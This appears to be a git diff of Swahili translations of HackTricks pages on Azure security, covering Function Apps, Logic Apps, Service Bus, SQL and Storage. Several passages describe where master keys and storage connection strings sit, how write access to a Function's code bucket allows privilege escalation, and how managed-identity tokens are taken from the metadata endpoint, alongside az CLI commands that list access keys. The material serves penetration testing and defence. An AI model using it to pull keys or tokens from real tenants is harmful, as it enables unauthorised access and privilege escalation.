- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya iwe bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
- **Container Apps**: Inaruhusu kutekeleza **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
### **Storage Buckets**
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa katika akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
> [!CAUTION]
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika kwenye bucket hii** utamruhusu mshambuliaji **kudhoofisha msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kudhoofisha msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
>
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
Pia inawezekana kupata **funguo za master na functions** zilizohifadhiwa kwenye akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON ambazo unaweza kupata ndani.
Pia inawezekana kupata **funguo za bosi na kazi** zilizohifadhiwa katika akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON ambazo unaweza kupata ndani.
Kumbuka kwamba Functions pia zinaruhusu kuhifadhi msimbo katika eneo la mbali kwa kuashiria tu URL yake.
@@ -44,7 +44,7 @@ Kwa kutumia kichocheo cha HTTP:
### **Function App Settings & Environment Variables**
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa MAMLAKA KAMILI akaunti ya hifadhi inayohusisha data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana.
@@ -52,24 +52,24 @@ Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Functio
Ndani ya sandbox ya linux, msimbo wa chanzo unapatikana katika **`/home/site/wwwroot`** katika faili **`function_app.py`** (ikiwa python inatumika) mtumiaji anayekimbia msimbo ni **`app`** (bila ruhusa za sudo).
Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, jina la mtumiaji lilikuwa **`mawsFnPlaceholder8_f_v4_node_20_x86`** na ilikuwa sehemu ya **makundi**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
Katika kazi ya **Windows** inayotumia NodeJS, msimbo ulikuwa unapatikana katika **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, jina la mtumiaji lilikuwa **`mawsFnPlaceholder8_f_v4_node_20_x86`** na ilikuwa sehemu ya **makundi**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
### **Managed Identities & Metadata**
Kama [**VMs**](vms/), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina idhini hiyo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina kitambulisho hicho itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
> [!NOTE]
> Kama ilivyo katika [**VMs**](vms/), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unadhoofisha kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
>
> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuyapata **kwa mikono** kama ilivyoelezwa katika:
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyodhibitiwa ambavyo kazi inaunganishwa** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
Kumbuka kwamba unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyodhibitiwa ambavyo kazi inaunganishwa** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
## Access Keys
@@ -79,14 +79,14 @@ Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyodhibitiwa
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wenye **funguo za master**.
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za bosi**.
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo za bosi**.
**Aina za funguo:**
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
- **Funguo za Bosi:** Funguo za bosi (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
> [!TIP]
@@ -96,7 +96,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
### Basic Authentication
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hilo katika:
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
{{#ref}}
az-app-service.md
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Kichwa** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo.

View File

@@ -4,18 +4,18 @@
## Basic Information
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kuandaa michakato ya biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifunguo mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifunguo maalum kwa mahitaji yako maalum.
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifungamano mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifungamano ya kawaida kwa mahitaji yako maalum.
### Examples
- **Automating Data Pipelines**: Logic Apps inaweza kujiendesha **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika inayohamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazotegemea matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa bila mshono na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
- **Automating Data Pipelines**: Logic Apps inaweza kuandaa **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa kwa urahisi na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
### Visualize a LogicAPP
Inawezekana kuona LogicApp kwa picha:
Ni rahisi kuona LogicApp kwa picha:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
@@ -23,7 +23,7 @@ au kuangalia msimbo katika sehemu ya "**Logic app code view**".
### SSRF Protection
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akidi kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditivu kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
Kwa mfano, kitu kama hiki hakitatoa token:
```bash

View File

@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Taarifa za Msingi
## Basic Information
Azure Queue Storage ni huduma katika jukwaa la wingu la Microsoft Azure iliyoundwa kwa ajili ya kupanga ujumbe kati ya vipengele vya programu, **ikiwezesha mawasiliano yasiyo ya moja kwa moja na kutenganisha**. Inakuwezesha kuhifadhi idadi isiyo na kikomo ya ujumbe, kila mmoja ukiwa na ukubwa wa hadi 64 KB, na inasaidia operesheni kama vile kuunda na kufuta foleni, kuongeza, kupata, kuboresha, na kufuta ujumbe, pamoja na kusimamia metadata na sera za ufikiaji. Ingawa kawaida inashughulikia ujumbe kwa njia ya kwanza kuingia, ya kwanza kutoka (FIFO), FIFO kali haikuhakikishwa.
### Uhesabuji
### Enumeration
{{#tabs }}
{{#tab name="Az Cli" }}

View File

@@ -11,11 +11,11 @@ Azure Service Bus ni **huduma ya ujumbe** inayotegemea wingu iliyoundwa kuwezesh
1. **Queues:** kusudi lake ni kuhifadhi ujumbe hadi mpokeaji awe tayari.
- Ujumbe umeagizwa, umewekwa alama ya muda, na kuhifadhiwa kwa kudumu.
- Utoaji unafanyika kwa njia ya kuvuta (urejeshaji kwa ombi).
- Inasaidia mawasiliano ya pointi-kwa-point.
- Inasaidia mawasiliano ya pointi hadi pointi.
2. **Topics:** Ujumbe wa kuchapisha-na-kujiandikisha kwa matangazo.
- Usajili wengi huru hupokea nakala za ujumbe.
- Usajili unaweza kuwa na sheria/filter za kudhibiti utoaji au kuongeza metadata.
- Inasaidia mawasiliano ya wengi-kwa-wengi.
- Inasaidia mawasiliano ya wengi kwa wengi.
3. **Namespaces:** Chombo kwa ajili ya vipengele vyote vya ujumbe, foleni na mada, ni kama kipande chako cha klasta yenye nguvu ya Azure, ikitoa uwezo maalum na kwa hiari inapanuka katika maeneo matatu ya upatikanaji.
### Advance Features
@@ -42,7 +42,7 @@ Sera za SAS zinafafanua ruhusa za ufikiaji kwa vitu vya Azure Service Bus namesp
- Send: Inaruhusu kutuma ujumbe kwa chombo.
- Listen: Inaruhusu kupokea ujumbe kutoka kwa chombo.
- **Primary and Secondary Keys**: Hizi ni funguo za kificho zinazotumika kutengeneza tokeni salama za kuthibitisha ufikiaji.
- **Primary and Secondary Connection Strings**: Nyuzi za muunganisho zilizowekwa awali ambazo zinajumuisha mwisho na funguo kwa matumizi rahisi katika programu.
- **Primary and Secondary Connection Strings**: Nyimbo za muunganisho zilizowekwa awali ambazo zinajumuisha mwisho na funguo kwa matumizi rahisi katika programu.
- **SAS Policy ARM ID**: Njia ya Meneja Rasilimali ya Azure (ARM) kwa sera kwa ajili ya utambuzi wa kimaandishi.
### NameSpace
@@ -77,7 +77,7 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
### Kuinua Haki
### Kuinua Mamlaka
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md

View File

@@ -4,17 +4,17 @@
## Azure SQL
Azure SQL ni familia ya bidhaa zinazodhibitiwa, salama, na za akili zinazotumia **SQL Server database engine katika wingu la Azure**. Hii inamaanisha huna haja ya kuwa na wasiwasi kuhusu usimamizi wa kimwili wa seva zako, na unaweza kuzingatia kusimamia data yako.
Azure SQL ni familia ya bidhaa zinazodhibitiwa, salama, na za akili zinazotumia **SQL Server database engine katika wingu la Azure**. Hii ina maana kwamba haupaswi kuwa na wasiwasi kuhusu usimamizi wa kimwili wa seva zako, na unaweza kuzingatia kusimamia data yako.
Azure SQL ina matoleo makuu matatu:
1. **Azure SQL Database**: Hii ni **huduma ya database inayodhibitiwa kikamilifu**, ambayo inakuwezesha kuhifadhi databases binafsi katika wingu la Azure. Inatoa akili iliyojengwa ndani inayojifunza mifumo yako ya kipekee ya database na inatoa mapendekezo yaliyobinafsishwa na tuning ya kiotomatiki.
2. **Azure SQL Managed Instance**: Hii ni kwa ajili ya matumizi makubwa, yaani, matumizi ya SQL Server kwa kiwango kizima. Inatoa karibu 100% ulinganifu na SQL Server ya hivi punde kwenye tovuti (Enterprise Edition) Database Engine, ambayo inatoa utekelezaji wa mtandao wa ndani (VNet) unaoshughulikia wasiwasi wa kawaida wa usalama, na mfano wa biashara unaofaa kwa wateja wa SQL Server kwenye tovuti.
1. **Azure SQL Database**: Hii ni **huduma ya database inayodhibitiwa kikamilifu**, ambayo inakuwezesha kuhifadhi databases binafsi katika wingu la Azure. Inatoa akili iliyojengwa ndani ambayo inajifunza mifumo yako ya kipekee ya database na inatoa mapendekezo yaliyobinafsishwa na tuning ya kiotomatiki.
2. **Azure SQL Managed Instance**: Hii ni kwa ajili ya matumizi makubwa, yaani, matumizi ya SQL Server kwa kiwango kizima. Inatoa karibu 100% ulinganifu na SQL Server ya hivi punde kwenye tovuti (Enterprise Edition) Database Engine, ambayo inatoa utekelezaji wa mtandao wa ndani (VNet) unaoshughulikia wasiwasi wa kawaida wa usalama, na mfano wa biashara unaofaa kwa wateja wa SQL Server wa ndani.
3. **Azure SQL Server kwenye Azure VMs**: Hii ni Miundombinu kama Huduma (IaaS) na ni bora kwa uhamishaji ambapo unataka **udhibiti juu ya mfumo wa uendeshaji na SQL Server instance**, kama ilivyokuwa seva inayofanya kazi kwenye tovuti.
### Azure SQL Database
**Azure SQL Database** ni **jukwaa la database linalodhibitiwa kikamilifu kama huduma (PaaS)** ambalo linatoa suluhisho za database za uhusiano zinazoweza kupanuka na salama. Imejengwa kwenye teknolojia za hivi punde za SQL Server na inondoa haja ya usimamizi wa miundombinu, na kuifanya kuwa chaguo maarufu kwa programu zinazotegemea wingu.
**Azure SQL Database** ni **jukwaa la database linalodhibitiwa kikamilifu kama huduma (PaaS)** ambalo linatoa suluhisho za database za uhusiano zinazoweza kupanuka na salama. Imejengwa kwenye teknolojia za hivi punde za SQL Server na inondoa hitaji la usimamizi wa miundombinu, na kuifanya kuwa chaguo maarufu kwa programu zinazotegemea wingu.
#### Vipengele Muhimu
@@ -42,15 +42,15 @@ Azure SQL Database inasaidia chaguzi za utekelezaji zinazoweza kubadilika ili ku
#### Utendaji unaoweza kupanuka na pools
- **Databases Moja**: Kila database imejitegemea na ina rasilimali zake maalum za kompyuta, kumbukumbu, na uhifadhi. Rasilimali zinaweza kupanuliwa kwa njia ya kidinamikia (kuinua au kushuka) bila wakati wa kupumzika (1128 vCores, 32 GB4 TB uhifadhi, na hadi 128 TB).
- **Databases Moja**: Kila database imejitegemea na ina rasilimali zake maalum za kompyuta, kumbukumbu, na uhifadhi. Rasilimali zinaweza kupanuliwa kwa njia ya kidinamikia (kuinua au kushuka) bila downtime (1128 vCores, 32 GB4 TB uhifadhi, na hadi 128 TB).
- **Elastic Pools**: Shiriki rasilimali kati ya databases nyingi katika pool ili kuongeza ufanisi na kuokoa gharama. Rasilimali zinaweza pia kupanuliwa kwa njia ya kidinamikia kwa pool nzima.
- **Flexibility ya Ngazi za Huduma**: Anza kidogo na database moja katika ngazi ya Madhumuni ya Kawaida. Pandisha hadhi hadi Biashara Muhimu au Hyperscale kadri mahitaji yanavyokua.
- **Chaguzi za Kupanua**: Kupanda kwa Kidinamikia au Mbadala za Autoscaling.
- **Chaguzi za Kupanua**: Kupunguza kwa njia ya kidinamikia au Chaguzi za Autoscaling.
#### Ufuatiliaji na Uboreshaji wa Ndani
- **Query Store**: Inafuatilia matatizo ya utendaji, inatambua watumiaji wakuu wa rasilimali, na inatoa mapendekezo yanayoweza kutekelezwa.
- **Automatic Tuning**: Inaboresha utendaji kwa njia ya kiotomatiki na vipengele kama vile indexing ya kiotomatiki na marekebisho ya mpango wa swali.
- **Automatic Tuning**: Inaboresha utendaji kwa njia ya proaktiki kwa vipengele kama vile indexing ya kiotomatiki na marekebisho ya mpango wa swali.
- **Telemetry Integration**: Inasaidia ufuatiliaji kupitia Azure Monitor, Event Hubs, au Azure Storage kwa maarifa yaliyobinafsishwa.
#### Uokoaji wa Dhara na Upatikanaji
@@ -62,7 +62,7 @@ Azure SQL Database inasaidia chaguzi za utekelezaji zinazoweza kubadilika ili ku
### Azure SQL Managed Instance
**Azure SQL Managed Instance** ni injini ya database kama Huduma (PaaS) inayotoa karibu 100% ulinganifu na SQL Server na inashughulikia kazi nyingi za usimamizi (mfano, kuboresha, patching, nakala za akiba, ufuatiliaji) kiotomatiki. Inatoa suluhisho la wingu kwa kuhamasisha databases za SQL Server za kwenye tovuti kwa mabadiliko madogo.
**Azure SQL Managed Instance** ni injini ya database kama Huduma (PaaS) ambayo inatoa karibu 100% ulinganifu na SQL Server na inashughulikia kazi nyingi za usimamizi (mfano, kuboresha, patching, nakala za akiba, ufuatiliaji) kiotomatiki. Inatoa suluhisho la wingu kwa ajili ya kuhamasisha databases za SQL Server za ndani kwa mabadiliko madogo.
#### Ngazi za Huduma
@@ -73,7 +73,7 @@ Azure SQL Database inasaidia chaguzi za utekelezaji zinazoweza kubadilika ili ku
* **Ulinzi wa Hatari**: Ulinzi wa Hatari wa Juu unatoa tahadhari kwa shughuli za kushuku na mashambulizi ya SQL injection. Ukaguzi wa kufuatilia na kurekodi matukio ya database kwa ajili ya kufuata sheria.
* **Udhibiti wa Ufikiaji**: Uthibitishaji wa Microsoft Entra kwa usimamizi wa kitambulisho wa kati. Usalama wa Kiwango cha Mstari na Ufunikaji wa Takwimu wa Kijadi kwa udhibiti wa ufikiaji wa kina.
* **Nakala za Akiba**: Nakala za kiotomatiki na za mikono zikiwa na uwezo wa kurejesha kwa wakati.
* **Nakala za Akiba**: Nakala za akiba za kiotomatiki na za mikono zenye uwezo wa kurejesha kwa wakati.
### Azure SQL Virtual Machines
@@ -81,7 +81,7 @@ Azure SQL Database inasaidia chaguzi za utekelezaji zinazoweza kubadilika ili ku
#### Vipengele Muhimu
**Nakala za Kiotomatiki**: Panga nakala za databases za SQL.
**Nakala za Kiotomatiki**: Panga nakala za akiba kwa databases za SQL.
**Patching ya Kiotomatiki**: Inafanya kiotomatiki usakinishaji wa masasisho ya Windows na SQL Server wakati wa dirisha la matengenezo.
**Ushirikiano wa Azure Key Vault**: Inafanya kiotomatiki usanidi wa Key Vault kwa SQL Server VMs.
**Ushirikiano wa Defender kwa Wingu**: Tazama mapendekezo ya Defender kwa SQL katika lango.
@@ -227,7 +227,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Unaweza pia kutumia sqlcmd kufikia hifadhidata. Ni muhimu kujua ikiwa seva inaruhusu muunganisho wa umma `az sql server show --name <server-name> --resource-group <resource-group>`, na pia ikiwa sheria ya firewall inaruhusu IP yetu kufikia:
Unaweza pia kutumia sqlcmd kufikia hifadhidata. Ni muhimu kujua kama seva inaruhusu muunganisho wa umma `az sql server show --name <server-name> --resource-group <resource-group>`, na pia kama sheria ya firewall inaruhusu IP yetu kufikia:
```powershell
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
@@ -244,7 +244,7 @@ sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passwork
../az-privilege-escalation/az-sql-privesc.md
{{#endref}}
## Baada ya Kutekeleza
## Baada ya Utekelezaji
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md

View File

@@ -9,59 +9,59 @@ Akaunti za Hifadhi za Azure ni huduma za msingi katika Microsoft Azure zinazotoa
**Chaguzi kuu za usanidi**:
- Kila akaunti ya hifadhi lazima iwe na **jina la kipekee katika Azure yote**.
- Kila akaunti ya hifadhi inapelekwa katika **eneo** au katika eneo la kupanua la Azure
- Inawezekana kuchagua toleo la **premium** la akaunti ya hifadhi kwa utendaji bora
- Inawezekana kuchagua kati ya **aina 4 za upungufu wa hatari ili kulinda** dhidi ya kushindwa kwa rack, diski na kituo cha data **failures**.
- Kila akaunti ya hifadhi inapelekwa katika **eneo** au katika eneo la kupanua la Azure.
- Inawezekana kuchagua toleo la **premium** la akaunti ya hifadhi kwa utendaji bora.
- Inawezekana kuchagua kati ya **aina 4 za upungufu wa hatari ili kulinda** dhidi ya kushindwa kwa rack, diski na kituo cha data.
**Chaguzi za usanidi wa Usalama**:
- **Hitaji usafirishaji salama kwa shughuli za REST API**: Hitaji TLS katika mawasiliano yoyote na hifadhi
- **Inaruhusu kuwezesha ufikiaji wa siri kwenye vyombo vya kibinafsi**: Ikiwa sivyo, haitakuwa inawezekana kuwezesha ufikiaji wa siri katika siku zijazo
- **Washa ufikiaji wa funguo za akaunti ya hifadhi**: Ikiwa sivyo, ufikiaji kwa Funguo za Kushiriki utafungiwa
- **Tofauti ya chini ya TLS**
- **Muktadha unaoruhusiwa kwa shughuli za nakala**: Ruhusu kutoka akaunti yoyote ya hifadhi, kutoka akaunti yoyote ya hifadhi kutoka kwa mpangilio sawa wa Entra au kutoka akaunti ya hifadhi yenye viunganishi vya kibinafsi katika mtandao wa virtual sawa.
- **Hitaji usafirishaji salama kwa shughuli za REST API**: Hitaji TLS katika mawasiliano yoyote na hifadhi.
